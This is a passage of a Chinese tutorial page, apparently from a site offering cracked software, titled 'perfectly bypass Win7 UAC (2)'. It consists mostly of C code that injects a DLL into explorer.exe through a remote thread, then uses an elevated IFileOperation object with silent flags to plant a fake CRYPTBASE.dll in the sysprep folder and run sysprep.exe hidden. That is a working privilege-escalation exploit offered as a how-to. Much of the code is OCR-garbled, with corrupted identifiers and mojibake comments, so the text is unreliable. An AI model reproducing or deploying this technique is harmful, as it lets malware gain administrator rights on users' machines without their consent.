免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 完美突破win7 UAC(2)

完美突破win7 UAC(2)

时间:2012-02-28 16:42来源:未知 整理:寂涯网络 点击:


else
break;
}
} while (Process32Next(hSnap, &pey));
//LoadL i braryW函数的地址函数的地址 //要注入的dll的绝对路径
hKerne1=GetModu1eHand1e(L^Kerne132. dll");
//填充呵化仏结构
myinjl. myloadlibraryw=(pLoadLibraryW)GetProcAddress(hKernel, ^LoadLibrar yW〃);
myinjl. myfreelibrary=(pFreeLibrary)GetProcAddress(hKernel, ^FreeLibrary^
);
//获取mydll.dll的绝对路径,mydll.dll和本程序在同一目录下 GetCurrentDirectoryW(sizeof(szbuffer), szbuffer); wcscat (szbuffer, L^Wmydll. dll");
//将mydll•dll的绝对路径写入explorer•exe进程的内存中,并且保存地址 myinjl. szFul1D1lName=(wchar_t*)VirtualAllocEx(hproc, 0, (wcslen(szbuffer) +1)*sizeof(wchar_t), MEM_COMMIT | PAGE_READffRITE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hproc, myinjl. szFullDllName, szbuffer, (wcslen(szbuffer )+1)*sizeof(wchar_t),&length);
//^myinj1结构写入explorer.exe进程内存中,这个结构保存了LoadLibraryw和FreeL i brary函数的地址
lpparamter=VirtualAllocEx(hproc, 0, sizeof(inj), MEM_COMMIT | PAGE_READWRITE, PAGE_EXECUTE_READffRITE);
WriteProcessMemory(hproc, lpparamter, &myinjl, sizeof(inj), &length); //将注入的代码写入£1口10^^故6进程内存中,注入的代码主要功能就是加载 mydll.犯1并且在加载后free.
pstart=VirtualAl1ocEx(hproc, 0, (SIZE_T)&RemoteEnd-(SIZE_T)&RemoteStart, M EM_COMMIT | PAGE_READWRITE, PAGE_EXECUTE_READffRITE);
WriteProcessMemory(hproc, pstart, &RemoteStart, (SIZE_T)&RemoteEnd-(SIZE_T )&RemoteStart, &length);
//^EExplorer. 6义6中创建线程
CreateRemoteThread(hproc, 0, 0, (LPTHREAD_START_ROUTINE)pstart, lpparamter, 0,0);
[/code]
下面我们看看RemoteStart的代码:
[code]
static void RemoteStart(PV0ID lpparamter)
{
pinj pminj;
HM0DULE hlib;
pminj=(pinj) lpparamter; //lpparamter指向inj结构体
hlib=0;
hlib=pminj->myloadlibraryw(pminj->szFullDllName); pminj->myfreelibrary(hlib);
}
[/code]
接下来就是在mydlLdll中创建Ifileoperation对象,并且操作它复制文件了,然后 运行sysprep. exe来加载特殊的CRYPTBASE. dll。附件中的(mydll工程)
[code]
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_cal1,
LPYOID lpReserved
switch (ul_reason_for_cal1)
{
case DLL_PROCESS_ATTACH: //表示dll被加载
{
BIND_0PTS3 bo;
IFileOperation * ifop=0;
IShellItem *pIstsou=0;
IShellItem *pIstdes=0;
IShellItem *pIstdel=0;
SHELLEXECUTEINFO seinfo={0}; wchar_t szMyFull[128] = {0};
//以单线程的方式创建COM对象 CoInitialize(NULL); //有时候0006切1^6(^通过命名绑定创建001对象并不会成功,则要调用 CoCreat e Instancea 建00旧对象。
if (S_OK==CoCreateInstance(—uuidof(FileOperation), 0, CLSCTX_LOCAL_SERVER |CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, _uuidof(IFi1eOperation), (void* *)&ifop)
II
S_OK==CoGetObject(L^Elevation:Administrator!new:{3ad05575-8857-4850-9277-ll b85bdb8e09}", &bo, —uuidof(IFileOperation), (void**)&ifop)) /*设置IfileOperation,这个参数很重要
用IFileOperation这个COM对象来操作文件,和exploere.exe效果一样,复制文件的时候,当文件已经存在,会弹框请求是否覆盖,当要提权的时候,也会请求是否 继续。所以要通过设置?1&83让这些对话框都不显示出来,即静默。 F0F_N0C0NFIRMATI0N对于对话框,全部选择是 FOF_SILENT 不显示进度条
FOFX_REQUIREELEVATION 用户期望提升权限,不显示对话框*/
if(S_OK==ifop->SetOperationFlags(F0F_N0C0NFIRMATI0N | FOF_SILENT | FOFX_REQUIREELEVATION ))
//复制 e:\mycryptbase. dll 到 c:\\windows\\system32\\sysprep 目录下并改名为 CRYPTBASE.dll
if(S_OK==SHCreateItemFromParsingName(L"e:WmyCRYPTBASE. dll", 0,—uuidof( IShellItem), (void **)&pIstsou))
if(S_OK==SHCreat eItemFromPars i ngName(L"c:\\windows\\system32\\sysprep",
0,—uuidof(IShellItem), (void **)&pIstdes))
if(S_OK==ifop->CopyItem(pIstsou, pIstdes, L"CRYPTBASE. dll", 0))
if (S_OK==i f op->Perf ormOperat i ons ()) //执行操作 {
//调用shellexecuteexw系统函数来运行878口作口. exe seinfo. cbSize=sizeof(SHELLEXECUTEINFO); seinfo. fMask=SEE_MASK_NOCLOSEPROCESS;
seinfo. lpFile=L^c:\\windows\\system32\\sysprep\\sysprep. exe〃; seinfo. lpDirectory=0;
seinfo. nShow=SW_HIDE; //隐藏程序窗 口
seinfo. lpParameters=0;
if(ShellExecuteExW(&seinfo) && seinfo. hProcess)
{
ffaitForSingleObject(seinfo. hProcess, INFINITE);
}
//等待sysprep.exe执行完毕,删除目录下的cryptbase.sll文件
 if(S_OK==SHCreat e11 emFromPars i ngName(L"c:\\windows\\system32\\sysprep\\ CRYPTBASE. dll〃,0,—uuidof(IShellItem), (void**)&pIstdel))

本页地址 http://www.jybase.net/xitonganquan/20120228785.html

百度搜索更多

谷歌搜索更多

顶一下
(1)
25%
踩一下
(3)
75%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com